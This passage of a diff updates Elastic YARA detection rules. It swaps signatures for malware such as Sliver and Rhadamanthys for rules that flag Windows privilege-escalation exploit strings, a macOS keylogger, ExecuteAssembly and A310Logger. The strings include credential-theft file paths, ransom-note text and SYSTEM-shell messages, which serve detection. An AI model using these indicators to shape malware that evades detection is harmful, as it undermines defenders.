+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2c1941847f660a99bbc6de16b00e563f70d900f9dbc40c6734871993961d3d3e"
+		logic_hash = "c969221f025b114b9d5738d43b6021ab9481dbc6b35eb129ea4f806160b1adc3"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e52e39644274e3077769da4d04488963c85a0b691dc9973ad12d51eb34ba388b"
+		fingerprint = "ffe0dec3585da9cbb9f8a0fac1bb6fd43d5d6e20a6175aaa889ae13ef2ed101f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "multi"
+		os = "windows"
 
 	strings:
-		$a1 = "B/Z-github.com/bishopfox/sliver/protobuf/sliverpbb" ascii fullword
-		$b1 = "InvokeSpawnDllReq" ascii fullword
-		$b2 = "NetstatReq" ascii fullword
-		$b3 = "HTTPSessionInit" ascii fullword
-		$b4 = "ScreenshotReq" ascii fullword
-		$b5 = "RegistryReadReq" ascii fullword
+		$a1 = { 00 57 00 58 00 59 00 5A 00 5F 00 00 17 75 00 73 00 65 00 72 00 }
+		$a2 = { 0C 08 16 1F 68 9D 08 17 1F 77 9D 08 18 1F 69 9D 08 19 1F 64 9D }
 
 	condition:
-		1 of ($a*) or all of ($b*)
+		1 of ($a*)
 }
-rule ELASTIC_Multi_Trojan_Sliver_3D6B7Cd3 : FILE MEMORY
+rule ELASTIC_Windows_Exploit_Generic_E95Cc41C : FILE
 {
 	meta:
-		description = "Detects Multi Trojan Sliver (Multi.Trojan.Sliver)"
+		description = "Detects Windows Exploit Generic (Windows.Exploit.Generic)"
 		author = "Elastic Security"
-		id = "3d6b7cd3-f702-470c-819c-8750ec040083"
-		date = "2022-12-01"
-		modified = "2023-09-20"
+		id = "e95cc41c-6cad-4b9c-b647-3c60e6614e25"
+		date = "2024-02-28"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Multi_Trojan_Sliver.yar#L52-L88"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9846124cfd124eed466465d187eeacb4d405c558dd84ba8e575d8a7b3290403e"
-		logic_hash = "3cbd3358b7d59d6a2912069f4cb8de005b6fafd61e44111d1f6cf0418eb2d1fc"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Exploit_Generic.yar#L1-L32"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4cce9e39c376f67c16df3bcd69efd9b7472c3b478e2e5ef347e1410f1105c38d"
+		logic_hash = "9b620988a6ee84ed0cbb0fb0a3cca633fffc8e6369ed45455e9e1e6c021ea461"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "46d5388bd1fe767a4852c9e35420985d5011368dac6545fd57fbb256de9a94e9"
+		tags = "FILE"
+		fingerprint = "78f78de7cee54107ee7c3de9b152ce3a242c1408115ab0950ccdfc278ed15a19"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "multi"
+		os = "windows"
 
 	strings:
-		$session_start_x86_1 = { 89 4C 24 ?? 89 44 24 ?? 8D 4C 24 ?? 89 4C 24 ?? C6 44 24 ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? }
-		$session_start_x86_2 = { FF 05 ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 04 24 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 85 C9 74 ?? B8 ?? ?? ?? ?? }
-		$session_start_x86_3 = { E8 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 74 ?? FF 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 04 24 39 05 ?? ?? ?? ?? 7E ?? C6 44 24 ?? ?? 8B 54 24 ?? 8B 02 FF D0 83 C4 ?? }
-		$session_start_x64_1 = { 44 0F 11 7C 24 ?? 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 44 24 ?? 48 8D 4C 24 ?? 48 89 4C 24 ?? C6 44 24 ?? ?? 0F 1F 00 E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? }
-		$session_start_x64_2 = { E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 FF 05 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 DB B9 ?? ?? ?? ?? 48 0F 45 C1 48 39 05 ?? ?? ?? ?? 7E ?? C6 44 24 ?? ?? 48 8B 54 24 ?? 48 8B 02 FF D0 }
-		$session_start_x64_3 = { 48 89 6C 24 ?? 48 8D 6C 24 ?? 49 C7 C5 ?? ?? ?? ?? 4C 89 6C 24 ?? C6 44 24 ?? ?? 48 8D 05 ?? ?? ?? ?? 31 DB E8 ?? ?? ?? ?? 44 0F 11 7C 24 ?? 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 44 24 ?? 48 8D 4C 24 ?? 48 89 4C 24 ?? C6 44 24 ?? ?? 0F 1F 00 }
-		$register_x64_1 = { 48 81 EC ?? ?? ?? ?? 48 89 AC 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 90 E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 5C 24 ?? 48 89 4C 24 ?? 0F 1F 44 00 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 85 C9 48 8B 4C 24 ?? BA ?? ?? ?? ?? 48 0F 45 CA 48 89 4C 24 ?? 48 8B 54 24 ?? BE ?? ?? ?? ?? 48 0F 45 D6 48 89 54 24 ?? }
-		$register_x64_2 = { 48 8D 1D ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? }
-		$register_x64_3 = { E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 5C 24 ?? 48 89 4C 24 ?? 66 90 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 85 C9 48 8B 8C 24 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 0F 45 CA 48 8B 54 24 ?? BE ?? ?? ?? ?? 48 0F 45 D6 48 85 DB 74 ?? 48 8D BC 24 ?? ?? ?? ?? 48 8D 7F ?? 0F 1F 00 48 89 6C 24 ?? 48 8D 6C 24 ?? }
-		$register_x64_4 = { 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 85 C9 48 8B 8C 24 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 0F 45 CA 48 89 8C 24 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? ?? BF ?? ?? ?? ?? 48 0F 45 F7 48 89 B4 24 ?? ?? ?? ?? }
-		$register_x64_5 = { 48 89 84 24 ?? ?? ?? ?? 48 89 5C 24 ?? 48 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 85 C9 48 8B 8C 24 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 0F 45 CA 48 89 8C 24 ?? ?? ?? ?? 48 8B 54 24 ?? BE ?? ?? ?? ?? 48 0F 45 D6 48 89 54 24 ?? }
-		$register_x64_6 = { E8 ?? ?? ?? ?? 48 8B 6D ?? 48 8B 94 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 48 8B 54 24 ?? 48 89 94 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? }
-		$register_x64_7 = { E8 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 48 8B 4C 24 ?? 48 89 48 ?? 48 8B 4C 24 ?? 48 89 48 ?? 83 3D ?? ?? ?? ?? ?? 75 ?? }
-		$register_x64_8 = { 48 8D 7F ?? 0F 1F 00 48 89 6C 24 ?? 48 8D 6C 24 ?? E8 ?? ?? ?? ?? 48 8B 6D ?? 4C 8D 15 ?? ?? ?? ?? 4C 89 94 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 4C 89 94 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 4C 89 94 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? }
-		$register_x86_1 = { E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 0C 24 8B 54 24 ?? 85 C0 74 ?? 31 C9 31 D2 89 54 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 04 24 8B 4C 24 ?? 85 C9 74 ?? 8D 7C 24 ?? }
-		$register_x86_2 = { 8D 0D ?? ?? ?? ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? }
-		$register_x86_3 = { C7 40 ?? ?? ?? ?? ?? 8D 0D ?? ?? ?? ?? 89 48 ?? 8B 4C 24 ?? 89 48 ?? 8B 4C 24 ?? 89 48 ?? 8B 0D ?? ?? ?? ?? 85 C9 75 ?? }
-		$register_x86_4 = { E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 0C 24 8B 54 24 ?? 85 C0 74 ?? 31 C9 31 D2 89 54 24 ?? 89 ?? 24 }
-		$register_x86_5 = { 8B 04 24 89 84 24 ?? ?? ?? ?? 8B 4C 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 04 24 8B 4C 24 ?? 8B 54 24 ?? 85 D2 74 ?? 31 C0 31 C9 89 4C 24 ?? 89 84 24 ?? ?? ?? ?? 8D 15 ?? ?? ?? ?? 89 14 24 E8 ?? ?? ?? ?? }
+		$s1 = "Got system privileges" nocase
+		$s2 = "Got SYSTEM token" nocase
+		$s3 = "Got a SYSTEM token" nocase
+		$s4 = "] Duplicating SYSTEM token" nocase
+		$s5 = "] Token Stealing is successful" nocase
+		$s6 = "] Exploit completed" nocase
+		$s7 = "] Got SYSTEM shell." nocase
+		$s8 = "] Spawning SYSTEM shell" nocase
+		$s9 = "we have a SYSTEM shell!" nocase
+		$s10 = "Dropping to System Shell." nocase
+		$s11 = "] Enjoy the NT AUTHORITY\\SYSTEM shell" nocase
+		$s12 = "] SMEP is disabled" nocase
+		$s13 = "] KUSER_SHARED_DATA"
+		$s14 = "] Found System EPROCESS"
 
 	condition:
-		1 of ($session_start_*) and 1 of ($register_*)
+		any of them
 }
-rule ELASTIC_Linux_Ransomware_Quantum_8513Fb8B : FILE MEMORY
+rule ELASTIC_Windows_Exploit_Generic_008359Cf : FILE
 {
 	meta:
-		description = "Detects Linux Ransomware Quantum (Linux.Ransomware.Quantum)"
+		description = "Detects Windows Exploit Generic (Windows.Exploit.Generic)"
 		author = "Elastic Security"
-		id = "8513fb8b-43f7-46b1-8318-5549a7609d3b"
-		date = "2023-07-28"
-		modified = "2024-02-13"
+		id = "008359cf-5510-4f91-8cb1-7b4ff645bf2d"
+		date = "2024-02-28"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_Quantum.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3bcb9ad92fdca53195f390fc4d8d721b504b38deeda25c1189a909a7011406c9"
-		logic_hash = "7e24be541bafc2427ecd8f76b7774fb65d7421bc300503eeb068b8104e168c70"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Exploit_Generic.yar#L34-L57"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "73225a3a54560965f4c4fae73f7ee234e31217bc06ff8ba1d0b36ebab5e76a87"
+		logic_hash = "9514241b5573c8d01ccd012195e29aefc3ef8a12eb982e6dd9ec66b00c064bd8"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "1c1af76ab5df8243b8e25555f1762749ca60da56fecea9d4131c612358244525"
+		tags = "FILE"
+		fingerprint = "3ef3b6bbe2141cb8ce47a5ee7c7531e72773d4dc4e478bb792c9230e4948db02"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = "All your files are encrypted on all devices across the network"
-		$a2 = "process with pid %d is blocking %s, going to kill it"
+		$a1 = { C6 85 ?? 01 00 00 74 C6 85 ?? 01 00 00 58 C6 85 ?? 01 00 00 58 }
+		$a2 = { C6 45 ?? 41 C6 45 ?? 66 C6 45 ?? 64 C6 45 ?? 4F C6 45 ?? 70 C6 45 ?? 65 C6 45 ?? 6E C6 45 ?? 50 C6 45 ?? 61 C6 45 ?? 63 C6 45 ?? 6B C6 45 ?? 65 C6 45 ?? 74 C6 45 ?? 58 C6 45 ?? 58 }
+		$b1 = "NtCreateFile"
+		$b2 = "\\Device\\Afd\\Endpoint" wide nocase
+		$b3 = "\\Device\\Afd\\Endpoint" nocase
+		$b4 = "NtDeviceIoControlFile"
 
 	condition:
-		all of them
+		1 of ($a*) and 3 of ($b*)
 }
-rule ELASTIC_Windows_Trojan_Rhadamanthys_21B60705 : FILE MEMORY
+rule ELASTIC_Windows_Exploit_Generic_8C54846D : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Rhadamanthys (Windows.Trojan.Rhadamanthys)"
+		description = "Detects Windows Exploit Generic (Windows.Exploit.Generic)"
 		author = "Elastic Security"
-		id = "21b60705-9696-43ba-a820-d8ab9c34cca2"
-		date = "2023-03-19"
-		modified = "2023-04-23"
+		id = "8c54846d-07ee-43bc-93e1-72bf4162ab87"
+		date = "2024-02-29"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Rhadamanthys.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3ba97c51ba503fa4bdcfd5580c75436bc88794b4ae883afa1d92bb0b2a0f5efe"
-		logic_hash = "ef3f60689d72553111b42b27e0a1a0316288ae07fbfaf159eea8c76380d528fa"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Exploit_Generic.yar#L59-L87"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b6ea4815a38e606d4a2d6e6d711e610afec084db6899b7d6fc874491dd939495"
+		logic_hash = "0662c8edb449e15b16be3e53a88cf62af46b4a656c1a49b399e131c2ad71b55a"
 		score = 75
-		quality = 50
-		tags = "FILE, MEMORY"
-		fingerprint = "8a756bf4a8c9402072531aca2c29a382881c1808a790432ccac2240b35c09383"
+		quality = 71
+		tags = "FILE"
+		fingerprint = "9acb35c06a21e35639c8026a18e919329db82a0629a8e2267f1f4fe00b3bb871"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "Session\\%u\\MSCTF.Asm.{%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}" wide fullword
-		$a2 = "MSCTF.Asm.{%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}" wide fullword
-		$a3 = " \"%s\",Options_RunDLL %s" wide fullword
-		$a4 = "%%TEMP%%\\vcredist_%05x.dll" wide fullword
-		$a5 = "%%APPDATA%%\\vcredist_%05x.dll" wide fullword
-		$a6 = "TEQUILABOOMBOOM" wide fullword
-		$a7 = "%Systemroot%\\system32\\rundll32.exe" wide fullword
+		$a1 = { 5C 63 76 65 2D 32 30 ?? ?? 2D ?? ?? ?? ?? 5C 78 36 34 5C 52 65 6C 65 61 73 65 5C }
+		$a2 = { 5C 43 56 45 2D 32 30 ?? ?? 2D ?? ?? ?? ?? 5C 78 36 34 5C 52 65 6C 65 61 73 65 5C }
+		$a3 = { 5C 78 36 34 5C 52 65 6C 65 61 73 65 5C 43 56 45 2D 32 30 ?? ?? 2D ?? ?? ?? ?? ?? 2E 70 64 62 }
+		$a4 = { 5C 52 65 6C 65 61 73 65 5C 43 56 45 2D 32 30 ?? ?? 2D }
+		$a5 = "\\x64\\Release\\CmdTest.pdb"
+		$a6 = "\\x64\\Release\\RunPS.pdb"
+		$a7 = "X:\\tools\\0day\\"
+		$a8 = "C:\\work\\volodimir_"
+		$a9 = { 78 36 34 5C 52 65 6C 65 61 73 65 5C 65 78 70 6C 6F 69 74 2E 70 64 62 }
+		$b1 = { 5C 43 56 45 2D 32 30 ?? ?? 2D }
+		$b2 = { 5C 78 36 34 5C 52 65 6C 65 61 73 65 5C }
 
 	condition:
-		4 of them
+		any of ($a*) or all of ($b*)
 }
-rule ELASTIC_Windows_Trojan_Rhadamanthys_1Da1C2C2 : FILE MEMORY
+rule ELASTIC_Macos_Backdoor_Keyboardrecord_832F7Bac : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Rhadamanthys (Windows.Trojan.Rhadamanthys)"
+		description = "Detects Macos Backdoor Keyboardrecord (MacOS.Backdoor.Keyboardrecord)"
 		author = "Elastic Security"
-		id = "1da1c2c2-90ea-4f76-aa38-666934c0aa68"
-		date = "2023-03-28"
-		modified = "2023-04-23"
+		id = "832f7bac-3896-4934-b05f-8215a41cca74"
+		date = "2021-11-11"
+		modified = "2022-07-22"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Rhadamanthys.yar#L27-L52"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9bfc4fed7afc79a167cac173bf3602f9d1f90595d4e41dab68ff54973f2cedc1"
-		logic_hash = "bf5d45fe79dacfc6aee5cfd788ec6ce77e99e55d5a6d294da57c126bedf75ee9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Backdoor_Keyboardrecord.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "570cd76bf49cf52e0cb347a68bdcf0590b2eaece134e1b1eba7e8d66261bdbe6"
+		logic_hash = "5719681d50134edacb5341034314c33ed27e9325de0ae26b2a01d350429c533b"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "7b3830373b773be03dc6d0f030595f625a2ef0b6a83312a5b0a958c0d2e5b1c0"
+		tags = "FILE"
+		fingerprint = "27aa4380bda0335c672e957ba2ce6fd1f42ccf0acd2eff757e30210c3b4fb2fa"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = "%s\\tdata\\key_datas" wide fullword
-		$a2 = "\\config\\loginusers.vdf" wide fullword
-		$a3 = "/bin/KeePassHax.dll" ascii fullword
-		$a4 = "%%APPDATA%%\\ns%04x.dll" wide fullword
-		$a5 = "\\\\.\\pipe\\{%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}" wide fullword
-		$a6 = " /s /n /i:\"%s,%u,%u,%u\" \"%s\"" wide fullword
-		$a7 = "strbuf(%lx) reallocs: %d, length: %d, size: %d" ascii fullword
-		$a8 = "SOFTWARE\\FTPWare\\CoreFTP\\Sites\\%s" wide fullword
+		$s1 = "com.ccc.keyboardrecord"
+		$s2 = "com.ccc.write_queue"
+		$s3 = "ps -p %s > /dev/null"
+		$s4 = "useage %s path useragentpid"
+		$s5 = "keyboardRecorderStartPKc"
 
 	condition:
-		6 of them
+		3 of them
 }
-rule ELASTIC_Windows_Trojan_Rhadamanthys_Ae00F48C : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Executeassembly_F41F4Df6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Rhadamanthys (Windows.Trojan.Rhadamanthys)"
+		description = "Detects Windows Hacktool Executeassembly (Windows.Hacktool.ExecuteAssembly)"
 		author = "Elastic Security"
-		id = "ae00f48c-f420-4a23-aae7-6f2bde29593c"
-		date = "2023-05-05"
-		modified = "2023-06-13"
+		id = "f41f4df6-03de-4a03-9dfa-4f9d0f51c2de"
+		date = "2023-03-28"
+		modified = "2023-04-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Rhadamanthys.yar#L54-L74"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "56b5ff5132ec1c5836223ced287d51a9ecee8d2b081f449245e136b1262a8714"
-		logic_hash = "423b68717a7aead3c871e7fc744e35dad1cfd7727bfba2bdaec69fb782540380"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_ExecuteAssembly.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a468ba2ba77aafa2a572c8947d414e74604a7c1c6e68a0b87fbfce4f8854dd61"
+		logic_hash = "ab72dec636a96338e16fd57f2db4bb52e38fe61315b42c2ffe9c4566fc0326d3"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8e3d13998a8e512aabf15534d61c06e0c6c51a4e8e46456538c654694310e670"
+		fingerprint = "4875f516551517ec9423f04a9636b65fc717b9e2c9c40379b027ab126e593d23"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -63616,30 +67802,29 @@ rule ELASTIC_Windows_Trojan_Rhadamanthys_Ae00F48C : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 75 30 8B 51 28 8B 41 2C 85 DB 74 03 89 53 28 85 D2 74 15 39 }
-		$a2 = { 3C 65 74 50 3C 68 74 2A 3C 6E }
-		$a3 = { 49 74 39 49 74 2D 49 49 74 29 49 49 74 25 49 49 74 }
+		$bytes0 = { 33 D8 8B C3 C1 E8 05 03 D8 8B C3 C1 E0 04 33 D8 8B C3 C1 E8 11 03 D8 8B C3 C1 E0 19 33 D8 8B C3 C1 E8 06 03 C3 }
+		$bytes1 = { 81 F9 8E 4E 0E EC 74 10 81 F9 AA FC 0D 7C 74 08 81 F9 54 CA AF 91 75 43 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Rhadamanthys_Cf5Dd2E2 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_A310Logger_520Cd7Ec : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Rhadamanthys (Windows.Trojan.Rhadamanthys)"
+		description = "Detects Windows Trojan A310Logger (Windows.Trojan.A310logger)"
 		author = "Elastic Security"
-		id = "cf5dd2e2-a505-4927-8653-3c9addd3ac90"
-		date = "2024-04-03"
-		modified = "2024-05-08"
+		id = "520cd7ec-840c-4d45-961b-8bc5e329c52f"
+		date = "2022-01-11"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Rhadamanthys.yar#L76-L97"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "39ccc224c2c6d89d0bce3d9e2c677465cbc7524f2d2aa903f79ad26b340dec3d"
-		logic_hash = "039d6de0d072be6717ba3eb90735d7b4898d3bbac83db4feb75efcdbca8fd98b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_A310logger.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "60fb9597e5843c72d761525f73ca728409579d81901860981ebd84f7d153cfa3"
+		logic_hash = "6095ce913e3fb1cfc2f1b091598fc06b2dfec30c2353be7df08dcbb1a06b07c3"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3b2bdfd45a11649deb3430044c7b707aebcf74a3745398e3db09a7465fa62a6c"
+		fingerprint = "f4ee88e555b7bd0102403cc804372f5376debc59555e8e7b4a16e18b04d1b314"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -63647,188 +67832,181 @@ rule ELASTIC_Windows_Trojan_Rhadamanthys_Cf5Dd2E2 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 33 D2 49 8B C4 49 83 C4 57 48 F7 F7 41 8A C2 46 0F B6 04 1A 33 D2 42 8D 4C 05 00 C1 E9 03 F6 E9 8A C8 49 8B C0 41 C0 E8 05 }
-		$a2 = { 8A 04 19 32 03 88 04 1A 48 83 C3 01 48 83 EF 01 }
-		$a3 = { 4C 01 27 48 8B 0F 48 8B 47 10 C6 04 01 00 48 83 07 01 48 8B 0F 48 8B 47 10 }
-		$a4 = { 69 F6 93 01 00 01 0F B6 C0 48 83 C1 01 33 F0 8A 01 84 C0 }
+		$a1 = "/dumps9taw" ascii fullword
+		$a2 = "/logstatus" ascii fullword
+		$a3 = "/checkprotection" ascii fullword
+		$a4 = "[CLIPBOARD]<<" wide fullword
+		$a5 = "&chat_id=" wide fullword
 
 	condition:
-		2 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Rhadamanthys_C4760266 : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Quantum_8513Fb8B : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Rhadamanthys (Windows.Trojan.Rhadamanthys)"
+		description = "Detects Linux Ransomware Quantum (Linux.Ransomware.Quantum)"
 		author = "Elastic Security"
-		id = "c4760266-bbff-4428-a7a5-bca7513c7993"
-		date = "2024-06-05"
-		modified = "2024-06-12"
+		id = "8513fb8b-43f7-46b1-8318-5549a7609d3b"
+		date = "2023-07-28"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Rhadamanthys.yar#L99-L117"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "05074675b07feb8e7556c5af449f5e677e0fabfb09b135971afbb11743bf3165"
-		logic_hash = "b8c1c56681aac4e1b1741dfa3ea929677214873b6f1795423a80742f699249de"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_Quantum.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3bcb9ad92fdca53195f390fc4d8d721b504b38deeda25c1189a909a7011406c9"
+		logic_hash = "7e24be541bafc2427ecd8f76b7774fb65d7421bc300503eeb068b8104e168c70"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "53a04d385ef3a59b76500effaf740cd0e7d825ea5515f871097d82899b0cfc44"
+		fingerprint = "1c1af76ab5df8243b8e25555f1762749ca60da56fecea9d4131c612358244525"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
